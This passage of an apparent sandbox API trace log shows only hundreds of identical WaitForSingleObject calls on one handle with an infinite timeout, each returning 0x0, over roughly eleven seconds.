(hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.577] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.577] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.577] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.578] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.578] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.578] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.579] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.579] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.580] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.580] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.580] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.580] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.581] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.581] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.581] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.582] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.582] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.582] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.583] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.583] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.583] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.583] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.584] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.584] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.584] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.585] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.585] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.585] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.585] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.586] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.586] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.586] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.587] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.587] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.587] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.587] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.588] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.588] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.588] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.588] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.589] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.589] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.589] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.589] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.590] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.590] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.590] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.590] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.591] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.591] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.591] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.591] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.592] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.592] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.592] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.592] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.593] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.593] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.593] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.594] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.594] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.594] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.595] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.595] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.595] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.596] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.596] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.596] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.596] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.597] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.597] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.597] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.597] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.598] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.598] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.598] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.599] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.599] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.599] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.599] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.599] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.600] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.600] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.600] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.601] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.601] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.601] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.601] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.602] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.602] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.602] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.603] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.603] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.603] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.603] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.604] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.604] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.604] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.604] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.606] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.606] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.606] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.606] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.607] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.607] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.607] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.608] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.608] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.608] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.608] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.609] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.609] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.609] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.609] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.786] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.787] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.787] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.787] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.790] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.790] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.790] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.790] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.791] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.791] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.791] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.792] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.792] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.792] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.792] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.793] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.793] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.793] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.793] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.794] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.794] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.794] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.794] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.795] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.795] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.795] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.795] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.796] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.796] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.796] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.798] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.798] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.798] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.799] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.799] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.799] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.799] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.800] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.800] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.800] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.800] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.800] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.801] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.801] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.801] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.802] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.802] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.802] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.802] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.803] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.803] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.803] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.803] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.803] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.804] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.804] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.804] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.805] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.805] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.805] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.805] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.807] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.807] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.807] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.807] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.808] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.808] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.808] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.808] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.809] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.809] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.809] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.810] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.810] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.810] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.810] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.811] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.811] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.811] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.811] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.811] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.954] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.954] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.954] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.954] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.955] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.956] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject 